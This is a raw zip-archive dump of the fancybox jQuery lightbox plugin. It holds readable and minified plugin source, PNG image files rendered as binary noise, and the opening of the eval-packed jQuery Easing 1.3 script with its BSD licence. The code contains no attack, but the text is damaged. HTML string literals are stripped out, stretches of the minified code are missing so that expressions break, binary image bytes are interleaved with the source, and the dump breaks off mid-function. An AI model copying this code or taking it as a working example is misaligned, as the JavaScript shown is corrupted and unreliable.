view[2] + ((view[0] - to.width - 40) * 0.5)), 10); return to; }, _get_obj_pos = function(obj) { var pos = obj.offset(); pos.top += parseInt( obj.css('paddingTop'), 10 ) || 0; pos.left += parseInt( obj.css('paddingLeft'), 10 ) || 0; pos.top += parseInt( obj.css('border-top-width'), 10 ) || 0; pos.left += parseInt( obj.css('border-left-width'), 10 ) || 0; pos.width = obj.width(); pos.height = obj.height(); return pos; }, _get_zoom_from = function() { var orig = selectedOpts.orig ? $(selectedOpts.orig) : false, from = {}, pos, view; if (orig && orig.length) { pos = _get_obj_pos(orig); from = { width : pos.width + (currentOpts.padding * 2), height : pos.height + (currentOpts.padding * 2), top : pos.top - currentOpts.padding - 20, left : pos.left - currentOpts.padding - 20 }; } else { view = _get_viewport(); from = { width : currentOpts.padding * 2, height : currentOpts.padding * 2, top : parseInt(view[3] + view[1] * 0.5, 10), left : parseInt(view[2] + view[0] * 0.5, 10) }; } return from; }, _animate_loading = function() { if (!loading.is(':visible')){ clearInterval(loadingTimer); return; } $('div', loading).css('top', (loadingFrame * -40) + 'px'); loadingFrame = (loadingFrame + 1) % 12; }; /* * Public methods */ $.fn.fancybox = function(options) { if (!$(this).length) { return this; } $(this) .data('fancybox', $.extend({}, options, ($.metadata ? $(this).metadata() : {}))) .unbind('click.fb') .bind('click.fb', function(e) { e.preventDefault(); if (busy) { return; } busy = true; $(this).blur(); selectedArray = []; selectedIndex = 0; var rel = $(this).attr('rel') || ''; if (!rel || rel == '' || rel === 'nofollow') { selectedArray.push(this); } else { selectedArray = $("a[rel=" + rel + "], area[rel=" + rel + "]"); selectedIndex = selectedArray.index( this ); } _start(); return; }); return this; }; $.fancybox = function(obj) { var opts; if (busy) { return; } busy = true; opts = typeof arguments[1] !== 'undefined' ? arguments[1] : {}; selectedArray = []; selectedIndex = parseInt(opts.index, 10) || 0; if ($.isArray(obj)) { for (var i = 0, j = obj.length; i < j; i++) { if (typeof obj[i] == 'object') { $(obj[i]).data('fancybox', $.extend({}, opts, obj[i])); } else { obj[i] = $({}).data('fancybox', $.extend({content : obj[i]}, opts)); } } selectedArray = jQuery.merge(selectedArray, obj); } else { if (typeof obj == 'object') { $(obj).data('fancybox', $.extend({}, opts, obj)); } else { obj = $({}).data('fancybox', $.extend({content : obj}, opts)); } selectedArray.push(obj); } if (selectedIndex > selectedArray.length || selectedIndex < 0) { selectedIndex = 0; } _start(); }; $.fancybox.showActivity = function() { clearInterval(loadingTimer); loading.show(); loadingTimer = setInterval(_animate_loading, 66); }; $.fancybox.hideActivity = function() { loading.hide(); }; $.fancybox.next = function() { return $.fancybox.pos( currentIndex + 1); }; $.fancybox.prev = function() { return $.fancybox.pos( currentIndex - 1); }; $.fancybox.pos = function(pos) { if (busy) { return; } pos = parseInt(pos); selectedArray = currentArray; if (pos > -1 && pos < currentArray.length) { selectedIndex = pos; _start(); } else if (currentOpts.cyclic && currentArray.length > 1) { selectedIndex = pos >= currentArray.length ? 0 : currentArray.length - 1; _start(); } return; }; $.fancybox.cancel = function() { if (busy) { return; } busy = true; $.event.trigger('fancybox-cancel'); _abort(); selectedOpts.onCancel(selectedArray, selectedIndex, selectedOpts); busy = false; }; // Note: within an iframe use - parent.$.fancybox.close(); $.fancybox.close = function() { if (busy || wrap.is(':hidden')) { return; } busy = true; if (currentOpts && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { busy = false; return; } _abort(); $(close.add( nav_left ).add( nav_right )).hide(); $(content.add( overlay )).unbind(); $(window).unbind("resize.fb scroll.fb"); $(document).unbind('keydown.fb'); content.find('iframe').attr('src', isIE6 && /^https/i.test(window.location.href || '') ? 'javascript:void(false)' : 'about:blank'); if (currentOpts.titlePosition !== 'inside') { title.empty(); } wrap.stop(); function _cleanup() { overlay.fadeOut('fast'); title.empty().hide(); wrap.hide(); $.event.trigger('fancybox-cleanup'); content.empty(); currentOpts.onClosed(currentArray, currentIndex, currentOpts); currentArray = selectedOpts = []; currentIndex = selectedIndex = 0; currentOpts = selectedOpts = {}; busy = false; } if (currentOpts.transitionOut == 'elastic') { start_pos = _get_zoom_from(); var pos = wrap.position(); final_pos = { top : pos.top , left : pos.left, width : wrap.width(), height : wrap.height() }; if (currentOpts.opacity) { final_pos.opacity = 1; } title.empty().hide(); fx.prop = 1; $(fx).animate({ prop: 0 }, { duration : currentOpts.speedOut, easing : currentOpts.easingOut, step : _draw, complete : _cleanup }); } else { wrap.fadeOut( currentOpts.transitionOut == 'none' ? 0 : currentOpts.speedOut, _cleanup); } }; $.fancybox.resize = function() { if (overlay.is(':visible')) { overlay.css('height', $(document).height()); } $.fancybox.center(true); }; $.fancybox.center = function() { var view, align; if (busy) { return; } align = arguments[0] === true ? 1 : 0; view = _get_viewport(); if (!align && (wrap.width() > view[0] || wrap.height() > view[1])) { return; } wrap .stop() .animate({ 'top' : parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - content.height() - 40) * 0.5) - currentOpts.padding)), 'left' : parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - content.width() - 40) * 0.5) - currentOpts.padding)) }, typeof arguments[0] == 'number' ? arguments[0] : 200); }; $.fancybox.init = function() { if ($("#fancybox-wrap").length) { return; } $('body').append( tmp = $('
    '), loading = $('
    '), overlay = $('
    '), wrap = $('
    ') ); outer = $('
    ') .append('
    ') .appendTo( wrap ); outer.append( content = $('
    '), // Work-around if conflict on jQuery - Anders Wasn 2011-02-01 //close = $(''), close = $(''), title = $('
    '), nav_left = $(''), nav_right = $('') ); close.click($.fancybox.close); loading.click($.fancybox.cancel); nav_left.click(function(e) { e.preventDefault(); $.fancybox.prev(); }); nav_right.click(function(e) { e.preventDefault(); $.fancybox.next(); }); if ($.fn.mousewheel) { wrap.bind('mousewheel.fb', function(e, delta) { if (busy) { e.preventDefault(); } else if ($(e.target).get(0).clientHeight == 0 || $(e.target).get(0).scrollHeight === $(e.target).get(0).clientHeight) { e.preventDefault(); $.fancybox[ delta > 0 ? 'prev' : 'next'](); } }); } if (!$.support.opacity) { wrap.addClass('fancybox-ie'); } if (isIE6) { loading.addClass('fancybox-ie6'); wrap.addClass('fancybox-ie6'); $('').prependTo(outer); } }; $.fn.fancybox.defaults = { padding : 10, margin : 40, opacity : false, modal : false, cyclic : false, scrolling : 'auto', // 'auto', 'yes' or 'no' width : 560, height : 340, autoScale : true, autoDimensions : true, centerOnScroll : false, ajax : {}, swf : { wmode: 'transparent' }, hideOnOverlayClick : true, hideOnContentClick : false, overlayShow : true, overlayOpacity : 0.7, overlayColor : '#777', titleShow : true, titlePosition : 'float', // 'float', 'outside', 'inside' or 'over' titleFormat : null, titleFromAlt : false, transitionIn : 'fade', // 'elastic', 'fade' or 'none' transitionOut : 'fade', // 'elastic', 'fade' or 'none' speedIn : 300, speedOut : 300, changeSpeed : 300, changeFade : 'fast', easingIn : 'swing', easingOut : 'swing', showCloseButton : true, showNavArrows : true, enableEscapeButton : true, enableKeyboardNav : true, onStart : function(){}, onCancel : function(){}, onComplete : function(){}, onCleanup : function(){}, onClosed : function(){}, onError : function(){} }; $(document).ready(function() { $.fancybox.init(); }); })(jQuery);PKQB\94[[!tmpl/fancybox/fancy_shadow_ne.pngnuW+APNG  IHDR "IDAT8˭k0o?U+m$+~a`K3I_yy")[0],{prop:0}),M=b.browser.msie&&b.browser.version<7&&!window.XMLHttpRequest,N=function(){t.hide();v.onerror=v.onload=null;G&&G.abort();m.empty()},O=function(){if(false===e.onError(o,q,e)){t.hide();h=false}else{e.titleShow=false;e.width="auto";e.height="auto";m.html('

    The requested content cannot be loaded.
    Please try again later.

    '); F()}},I=function(){var a=o[q],c,g,k,C,P,w;N();e=b.extend({},b.fn.fancybox.defaults,typeof b(a).data("fancybox")=="undefined"?e:b(a).data("fancybox"));w=e.onStart(o,q,e);if(w===false)h=false;else{if(typeof w=="object")e=b.extend(e,w);k=e.title||(a.nodeName?b(a).attr("title"):a.title)||"";if(a.nodeName&&!e.orig)e.orig=b(a).children("img:first").length?b(a).children("img:first"):b(a);if(k===""&&e.orig&&e.titleFromAlt)k=e.orig.attr("alt");c=e.href||(a.nodeName?b(a).attr("href"):a.href)||null;if(/^(?:javascript)/i.test(c)|| c=="#")c=null;if(e.type){g=e.type;if(!c)c=e.content}else if(e.content)g="html";else if(c)g=c.match(J)?"image":c.match(W)?"swf":b(a).hasClass("iframe")?"iframe":c.indexOf("#")===0?"inline":"ajax";if(g){if(g=="inline"){a=c.substr(c.indexOf("#"));g=b(a).length>0?"inline":"ajax"}e.type=g;e.href=c;e.title=k;if(e.autoDimensions)if(e.type=="html"||e.type=="inline"||e.type=="ajax"){e.width="auto";e.height="auto"}else e.autoDimensions=false;if(e.modal){e.overlayShow=true;e.hideOnOverlayClick=false;e.hideOnContentClick= false;e.enableEscapeButton=false;e.showCloseButton=false}e.padding=parseInt(e.padding,10);e.margin=parseInt(e.margin,10);m.css("padding",e.padding+e.margin);b(".fancybox-inline-tmp").unbind("fancybox-cancel").bind("fancybox-change",function(){b(this).replaceWith(j.children())});switch(g){case "html":m.html(e.content);F();break;case "inline":if(b(a).parent().is("#fancybox-content")===true){h=false;break}b('
    ').hide().insertBefore(b(a)).bind("fancybox-cleanup",function(){b(this).replaceWith(j.children())}).bind("fancybox-cancel", function(){b(this).replaceWith(m.children())});b(a).appendTo(m);F();break;case "image":h=false;b.fancybox.showActivity();v=new Image;v.onerror=function(){O()};v.onload=function(){h=true;v.onerror=v.onload=null;e.width=v.width;e.height=v.height;b("").attr({id:"fancybox-img",src:v.src,alt:e.title}).appendTo(m);Q()};v.src=c;break;case "swf":e.scrolling="no";C='';P="";b.each(e.swf,function(x,H){C+='';P+=" "+x+'="'+H+'"'});C+='";m.html(C);F();break;case "ajax":h=false;b.fancybox.showActivity();e.ajax.win=e.ajax.success;G=b.ajax(b.extend({},e.ajax,{url:c,data:e.ajax.data||{},error:function(x){x.status>0&&O()},success:function(x,H,R){if((typeof R=="object"?R:G).status==200){if(typeof e.ajax.win== "function"){w=e.ajax.win(c,x,H,R);if(w===false){t.hide();return}else if(typeof w=="string"||typeof w=="object")x=w}m.html(x);F()}}}));break;case "iframe":Q()}}else O()}},F=function(){var a=e.width,c=e.height;a=a.toString().indexOf("%")>-1?parseInt((b(window).width()-e.margin*2)*parseFloat(a)/100,10)+"px":a=="auto"?"auto":a+"px";c=c.toString().indexOf("%")>-1?parseInt((b(window).height()-e.margin*2)*parseFloat(c)/100,10)+"px":c=="auto"?"auto":c+"px";m.wrapInner('
    ');e.width=m.width();e.height=m.height();Q()},Q=function(){var a,c;t.hide();if(f.is(":visible")&&false===d.onCleanup(l,p,d)){b.event.trigger("fancybox-cancel");h=false}else{h=true;b(j.add(u)).unbind();b(window).unbind("resize.fb scroll.fb");b(document).unbind("keydown.fb");f.is(":visible")&&d.titlePosition!=="outside"&&f.css("height",f.height());l=o;p=q;d=e;if(d.overlayShow){u.css({"background-color":d.overlayColor, opacity:d.overlayOpacity,cursor:d.hideOnOverlayClick?"pointer":"auto",height:b(document).height()});if(!u.is(":visible")){M&&b("select:not(#fancybox-tmp select)").filter(function(){return this.style.visibility!=="hidden"}).css({visibility:"hidden"}).one("fancybox-cleanup",function(){this.style.visibility="inherit"});u.show()}}else u.hide();i=X();s=d.title||"";y=0;n.empty().removeAttr("style").removeClass();if(d.titleShow!==false){if(b.isFunction(d.titleFormat))a=d.titleFormat(s,l,p,d);else a=s&&s.length? d.titlePosition=="float"?'
    '+s+'
    ':'
    '+s+"
    ":false;s=a;if(!(!s||s==="")){n.addClass("fancybox-title-"+d.titlePosition).html(s).appendTo("body").show();switch(d.titlePosition){case "inside":n.css({width:i.width-d.padding*2,marginLeft:d.padding,marginRight:d.padding}); y=n.outerHeight(true);n.appendTo(D);i.height+=y;break;case "over":n.css({marginLeft:d.padding,width:i.width-d.padding*2,bottom:d.padding}).appendTo(D);break;case "float":n.css("left",parseInt((n.width()-i.width-40)/2,10)*-1).appendTo(f);break;default:n.css({width:i.width-d.padding*2,paddingLeft:d.padding,paddingRight:d.padding}).appendTo(f)}}}n.hide();if(f.is(":visible")){b(E.add(z).add(A)).hide();a=f.position();r={top:a.top,left:a.left,width:f.width(),height:f.height()};c=r.width==i.width&&r.height== i.height;j.fadeTo(d.changeFade,0.3,function(){var g=function(){j.html(m.contents()).fadeTo(d.changeFade,1,S)};b.event.trigger("fancybox-change");j.empty().removeAttr("filter").css({"border-width":d.padding,width:i.width-d.padding*2,height:e.autoDimensions?"auto":i.height-y-d.padding*2});if(c)g();else{B.prop=0;b(B).animate({prop:1},{duration:d.changeSpeed,easing:d.easingChange,step:T,complete:g})}})}else{f.removeAttr("style");j.css("border-width",d.padding);if(d.transitionIn=="elastic"){r=V();j.html(m.contents()); f.show();if(d.opacity)i.opacity=0;B.prop=0;b(B).animate({prop:1},{duration:d.speedIn,easing:d.easingIn,step:T,complete:S})}else{d.titlePosition=="inside"&&y>0&&n.show();j.css({width:i.width-d.padding*2,height:e.autoDimensions?"auto":i.height-y-d.padding*2}).html(m.contents());f.css(i).fadeIn(d.transitionIn=="none"?0:d.speedIn,S)}}}},Y=function(){if(d.enableEscapeButton||d.enableKeyboardNav)b(document).bind("keydown.fb",function(a){if(a.keyCode==27&&d.enableEscapeButton){a.preventDefault();b.fancybox.close()}else if((a.keyCode== 37||a.keyCode==39)&&d.enableKeyboardNav&&a.target.tagName!=="INPUT"&&a.target.tagName!=="TEXTAREA"&&a.target.tagName!=="SELECT"){a.preventDefault();b.fancybox[a.keyCode==37?"prev":"next"]()}});if(d.showNavArrows){if(d.cyclic&&l.length>1||p!==0)z.show();if(d.cyclic&&l.length>1||p!=l.length-1)A.show()}else{z.hide();A.hide()}},S=function(){if(!b.support.opacity){j.get(0).style.removeAttribute("filter");f.get(0).style.removeAttribute("filter")}e.autoDimensions&&j.css("height","auto");f.css("height","auto"); s&&s.length&&n.show();d.showCloseButton&&E.show();Y();d.hideOnContentClick&&j.bind("click",b.fancybox.close);d.hideOnOverlayClick&&u.bind("click",b.fancybox.close);b(window).bind("resize.fb",b.fancybox.resize);d.centerOnScroll&&b(window).bind("scroll.fb",b.fancybox.center);if(d.type=="iframe")b('').appendTo(j); f.show();h=false;b.fancybox.center();d.onComplete(l,p,d);var a,c;if(l.length-1>p){a=l[p+1].href;if(typeof a!=="undefined"&&a.match(J)){c=new Image;c.src=a}}if(p>0){a=l[p-1].href;if(typeof a!=="undefined"&&a.match(J)){c=new Image;c.src=a}}},T=function(a){var c={width:parseInt(r.width+(i.width-r.width)*a,10),height:parseInt(r.height+(i.height-r.height)*a,10),top:parseInt(r.top+(i.top-r.top)*a,10),left:parseInt(r.left+(i.left-r.left)*a,10)};if(typeof i.opacity!=="undefined")c.opacity=a<0.5?0.5:a;f.css(c); j.css({width:c.width-d.padding*2,height:c.height-y*a-d.padding*2})},U=function(){return[b(window).width()-d.margin*2,b(window).height()-d.margin*2,b(document).scrollLeft()+d.margin,b(document).scrollTop()+d.margin]},X=function(){var a=U(),c={},g=d.autoScale,k=d.padding*2;c.width=d.width.toString().indexOf("%")>-1?parseInt(a[0]*parseFloat(d.width)/100,10):d.width+k;c.height=d.height.toString().indexOf("%")>-1?parseInt(a[1]*parseFloat(d.height)/100,10):d.height+k;if(g&&(c.width>a[0]||c.height>a[1]))if(e.type== "image"||e.type=="swf"){g=d.width/d.height;if(c.width>a[0]){c.width=a[0];c.height=parseInt((c.width-k)/g+k,10)}if(c.height>a[1]){c.height=a[1];c.width=parseInt((c.height-k)*g+k,10)}}else{c.width=Math.min(c.width,a[0]);c.height=Math.min(c.height,a[1])}c.top=parseInt(Math.max(a[3]-20,a[3]+(a[1]-c.height-40)*0.5),10);c.left=parseInt(Math.max(a[2]-20,a[2]+(a[0]-c.width-40)*0.5),10);return c},V=function(){var a=e.orig?b(e.orig):false,c={};if(a&&a.length){c=a.offset();c.top+=parseInt(a.css("paddingTop"), 10)||0;c.left+=parseInt(a.css("paddingLeft"),10)||0;c.top+=parseInt(a.css("border-top-width"),10)||0;c.left+=parseInt(a.css("border-left-width"),10)||0;c.width=a.width();c.height=a.height();c={width:c.width+d.padding*2,height:c.height+d.padding*2,top:c.top-d.padding-20,left:c.left-d.padding-20}}else{a=U();c={width:d.padding*2,height:d.padding*2,top:parseInt(a[3]+a[1]*0.5,10),left:parseInt(a[2]+a[0]*0.5,10)}}return c},Z=function(){if(t.is(":visible")){b("div",t).css("top",L*-40+"px");L=(L+1)%12}else clearInterval(K)}; b.fn.fancybox=function(a){if(!b(this).length)return this;b(this).data("fancybox",b.extend({},a,b.metadata?b(this).metadata():{})).unbind("click.fb").bind("click.fb",function(c){c.preventDefault();if(!h){h=true;b(this).blur();o=[];q=0;c=b(this).attr("rel")||"";if(!c||c==""||c==="nofollow")o.push(this);else{o=b("a[rel="+c+"], area[rel="+c+"]");q=o.index(this)}I()}});return this};b.fancybox=function(a,c){var g;if(!h){h=true;g=typeof c!=="undefined"?c:{};o=[];q=parseInt(g.index,10)||0;if(b.isArray(a)){for(var k= 0,C=a.length;ko.length||q<0)q=0;I()}};b.fancybox.showActivity=function(){clearInterval(K);t.show();K=setInterval(Z,66)};b.fancybox.hideActivity=function(){t.hide()};b.fancybox.next=function(){return b.fancybox.pos(p+ 1)};b.fancybox.prev=function(){return b.fancybox.pos(p-1)};b.fancybox.pos=function(a){if(!h){a=parseInt(a);o=l;if(a>-1&&a1){q=a>=l.length?0:l.length-1;I()}}};b.fancybox.cancel=function(){if(!h){h=true;b.event.trigger("fancybox-cancel");N();e.onCancel(o,q,e);h=false}};b.fancybox.close=function(){function a(){u.fadeOut("fast");n.empty().hide();f.hide();b.event.trigger("fancybox-cleanup");j.empty();d.onClosed(l,p,d);l=e=[];p=q=0;d=e={};h=false}if(!(h||f.is(":hidden"))){h= true;if(d&&false===d.onCleanup(l,p,d))h=false;else{N();b(E.add(z).add(A)).hide();b(j.add(u)).unbind();b(window).unbind("resize.fb scroll.fb");b(document).unbind("keydown.fb");j.find("iframe").attr("src",M&&/^https/i.test(window.location.href||"")?"javascript:void(false)":"about:blank");d.titlePosition!=="inside"&&n.empty();f.stop();if(d.transitionOut=="elastic"){r=V();var c=f.position();i={top:c.top,left:c.left,width:f.width(),height:f.height()};if(d.opacity)i.opacity=1;n.empty().hide();B.prop=1; b(B).animate({prop:0},{duration:d.speedOut,easing:d.easingOut,step:T,complete:a})}else f.fadeOut(d.transitionOut=="none"?0:d.speedOut,a)}}};b.fancybox.resize=function(){u.is(":visible")&&u.css("height",b(document).height());b.fancybox.center(true)};b.fancybox.center=function(a){var c,g;if(!h){g=a===true?1:0;c=U();!g&&(f.width()>c[0]||f.height()>c[1])||f.stop().animate({top:parseInt(Math.max(c[3]-20,c[3]+(c[1]-j.height()-40)*0.5-d.padding)),left:parseInt(Math.max(c[2]-20,c[2]+(c[0]-j.width()-40)*0.5- d.padding))},typeof a=="number"?a:200)}};b.fancybox.init=function(){if(!b("#fancybox-wrap").length){b("body").append(m=b('
    '),t=b('
    '),u=b('
    '),f=b('
    '));D=b('
    ').append('
    ').appendTo(f); D.append(j=b('
    '),E=b(''),n=b('
    '),z=b(''),A=b(''));E.click(b.fancybox.close);t.click(b.fancybox.cancel);z.click(function(a){a.preventDefault();b.fancybox.prev()});A.click(function(a){a.preventDefault();b.fancybox.next()}); b.fn.mousewheel&&f.bind("mousewheel.fb",function(a,c){if(h)a.preventDefault();else if(b(a.target).get(0).clientHeight==0||b(a.target).get(0).scrollHeight===b(a.target).get(0).clientHeight){a.preventDefault();b.fancybox[c>0?"prev":"next"]()}});b.support.opacity||f.addClass("fancybox-ie");if(M){t.addClass("fancybox-ie6");f.addClass("fancybox-ie6");b('').prependTo(D)}}}; b.fn.fancybox.defaults={padding:10,margin:40,opacity:false,modal:false,cyclic:false,scrolling:"auto",width:560,height:340,autoScale:true,autoDimensions:true,centerOnScroll:false,ajax:{},swf:{wmode:"transparent"},hideOnOverlayClick:true,hideOnContentClick:false,overlayShow:true,overlayOpacity:0.7,overlayColor:"#777",titleShow:true,titlePosition:"float",titleFormat:null,titleFromAlt:false,transitionIn:"fade",transitionOut:"fade",speedIn:300,speedOut:300,changeSpeed:300,changeFade:"fast",easingIn:"swing", easingOut:"swing",showCloseButton:true,showNavArrows:true,enableEscapeButton:true,enableKeyboardNav:true,onStart:function(){},onCancel:function(){},onComplete:function(){},onCleanup:function(){},onClosed:function(){},onError:function(){}};b(document).ready(function(){b.fancybox.init()})})(jQuery);PKQB\J``!tmpl/fancybox/fancy_shadow_se.pngnuW+APNG  IHDR 'IDAT8ˍTQnC13^9z MF$رž] ~5;|"y֡ 7pEbУz}7[D:$0'YRY rMpQ:Pm.Q׫<@-&BqR ޙ"tmpl/fancybox/fancy_title_left.pngnuW+APNG  IHDR g%"IDAT(ύM(qǿfLfS¼F孼dN^(i5RJqq'$J\vh9X+VĴKeW~{|O_@+G*"/eølcρdEX7H:0_hb._:~ݯ##ףs X <#AV!Fē`P5v~.XDZ%ؠZÇDΈ9uD!9ְNh~M.p*ЖkaB%:#%|W.MJUnL*wR*Mc89VU]3 ~NQT4ah+a!_"mE9[ 1,<`l20Qae휥JK|Vƣ *,'ZȃIENDB`PKQB\''tmpl/fancybox/fancy_loading.pngnuW+APNG  IHDR(2/'IDATxtee7{{vE^TDQlYV@_EK&IfiL0/|k}w;s sOs[Y$gnrOw7ouT\u~zQI)"kQ\=g_d!qMĵ$V\j%,܃Ko?+ Iq=GǵjWL#q!E_K^4\쏫f:/llnw~Z׺V]'fVf}wy||G>k$۴l7:c5q]FCg} 6\hy7=q&CwB´ZKfMozӡG[FFF.{s;s׹uu{ ?AZtfA,i[;}{C{׿ 8<<' xnE=Waխn5CO|z^gկ~U <uw[ڋa |`M}Ӟ .uYgm!G?:Alw=phN[GqĚ3VKM{G!l&`+k׾w]=ChpKU\m: 2?Vmo[:v衇~3N-o>HdqnRan(`y_Ƹ6|_}n7p*uea,K±?a+.k6{R/~$G=QKEa N&!4\v'qg>_ɖƋo/A::l2{"UmKL$&x3=O^ʛc^\\V7MbX}h^ξ~ gLŜ4?IOZ=n rWM@Ӌq7AHFnڱBĜ=a"vҗt0ȥ̤& N,m9cO|׼5+3 h-bim%yWpiipm[w oXy!2% GJHT/ݭ 뀷5Bc4!p1ŧ?K9 loM7rW :IspZ+JPZWzEy^Ϯ[}{ꉉNjlg]ՠ!LxJ>LߚN:i!&3<>'W7cs:@MpoB=?ӷ>W^yU_7&2͓~/yJN;ꨣւhfC ׿H~S%0 nx9J`FnK/h*}v'P6sĿOKP_I⳦&'TO*OG$ O$ O$ O$ O$IZ3{Ǔ8Tݴ{ʓ8FXޘм̓8sm]g?)>OI~;a} SO=uӝ{b X=0n O%LY24_ZSNٔu&o'q6*l @$dI%`?ϷBg!$5NC/j7]PS/ne|]f>?cZXv&Mص$W9Co,=rJ$/I9'1'g]-vIIIId$v؊0%d2Xwٯ$BcB{@}k4JJJpOR8vVNÓ{"~]ك$$Y@c>fV,@)J*\ xɬNuo`ث>u-P}.畞$uu^?(:E tt~e-ATͧ0 V;PnEJڧ3$D64Lz "x@pNXi@ТVy%xd2OI@gbnVX; (rPRyVm~=Xe~WM@v(Xl5G ,hms۵iESe͞ =!]"I&= sRiF< \kP [ڲ[PfsyV')pe^iXj?䕔xxgfWbh^[-/}i.z.iv<8Ȝf WNFE]ۙKv5 'Ǐ܉+9F!nXʻ^\Ε(ovعLhъln$E<R^5]c^}UW]nݺGۮ-Ztd{p]~iuW%KLԦ !Ne9`"vϰK+Vv~{Xde;wOwvB(~ {Ix> 7'Ovg Iy5Pi[T=VP4Wmڷ^Y59~r )`=Ilp8it!Z)ObYr %v7O2ãh<`Ó4`5J 1Ow'<0T.2|gaځ6%L$ 萎rI1C+'jè7mID#$ gƣ6q t+pBܪ3a܋go3=M<*q7я@;\>JI*(, <@Z0),˓<̰vJT!h T.{h ߩ.e̮0XNtMTVnQKy5:_#e:x\xIe<~F٤zό'aWV wIx~6ʓ $Ĵm'у~+V\_cdTpnwb$eD5kNF}LXm䶾K#uҀI7%ТְMZVDDVݹVmr LǗFrLP]b^(bIZ9Dt;9Ӷlڴ?ZfwI`gbM y.8Dž ^//KM{ ȉ,yC,mpsL@s٢!/yu? ;*•I5IIIIIky\[ۭY$6ߵ xw'qO,?%~PQ GI)P^EEDnz!ְ<X5)Gj7+WZ>I9 VCT+D-P):oiUشXpH@72+J]a3maD,328NQXʩmj2arla+ \Y[$}FFFQHK˟kyk3 kL;Q6rd 'x f/trRذ /{ؓρvS>mHMō()2v% ٟVa) VDNӮ4Cc1Rxmd&l;m$4m9\_͍e< ʁGRhroX UW/yNxp M.:R?IY, _+4,`; 954Q[pd@cHhS'OZ@gV,9NW.ˬ9sv$Δ3eS4NΓaTpE03yt.I.NϊY"`)rRooIlω|2-S){Γ\= [URK+wLa̫J  ā]DnvFjL[ ,] 1t wC~P?ObXSCɟ DV!r;",=j <蠃VhwxSgQ w}< [{ı}f̊' c6FcQh/c%z>dz"҅$Ƴ~T|g3\O%g&.ڧ#![m@r IFm6z[8HI-tIhPee(F>U3J j<ַ(eRAbh#m3Iug6j-h%ábN 6O$#wRc0QJxvj>`JDCyUn0PRza8MxEc2_])%]7yIrE, ܸej665'񽍨UCLau-'bKÓ4 cW/O5z(($g'1jQd@<}d@ }|:#LW xᇯJ^^O|q,$">q)qcY87}&k5 f@>&Vpd'|JmAl[9]d+"uꊁ llWl43F{|%A#JkEw2Eq7\L+s mE9kǐvW/{Z;G, ae굥6H7ɓ:*eIP*D*7dzN11u^Nݭ'ix'ix'ix'ix'Ils〹ghPyy'):9M!(#exߙdf$`Q; c޺uQ±s~NdAJ: @ÎG)d?DNpJOz'Ls_.O8 !Hk c\I٫FlEW&m\,5Ex &77(# 4NU2Э(߉'ņ4:MkK4)2Z죾xs[u}?Ǿ1H0fuqn0ay@V` PuhK.<<5PJ2m%LyNHEFgQIoyEMVIP G܏ċd'A6P3^% SPuņf'٫Fho\:FahBȔ0Dvf!%>3H[rR:QslEIBquj),t$ HikAْʸBRL&, puګXkuIt~PKQB\ e=='tmpl/fancybox/jquery.easing-1.3.pack.jsnuW+A/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ // t: current time, b: begInnIng value, c: change In value, d: duration eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('h.i[\'1a\']=h.i[\'z\'];h.O(h.i,{y:\'D\',z:9(x,t,b,c,d){6 h.i[h.i.y](x,t,b,c,d)},17:9(x,t,b,c,d){6 c*(t/=d)*t+b},D:9(x,t,b,c,d){6-c*(t/=d)*(t-2)+b},13:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t+b;6-c/2*((--t)*(t-2)-1)+b},X:9(x,t,b,c,d){6 c*(t/=d)*t*t+b},U:9(x,t,b,c,d){6 c*((t=t/d-1)*t*t+1)+b},R:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t+b;6 c/2*((t-=2)*t*t+2)+b},N:9(x,t,b,c,d){6 c*(t/=d)*t*t*t+b},M:9(x,t,b,c,d){6-c*((t=t/d-1)*t*t*t-1)+b},L:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t*t+b;6-c/2*((t-=2)*t*t*t-2)+b},K:9(x,t,b,c,d){6 c*(t/=d)*t*t*t*t+b},J:9(x,t,b,c,d){6 c*((t=t/d-1)*t*t*t*t+1)+b},I:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t*t*t+b;6 c/2*((t-=2)*t*t*t*t+2)+b},G:9(x,t,b,c,d){6-c*8.C(t/d*(8.g/2))+c+b},15:9(x,t,b,c,d){6 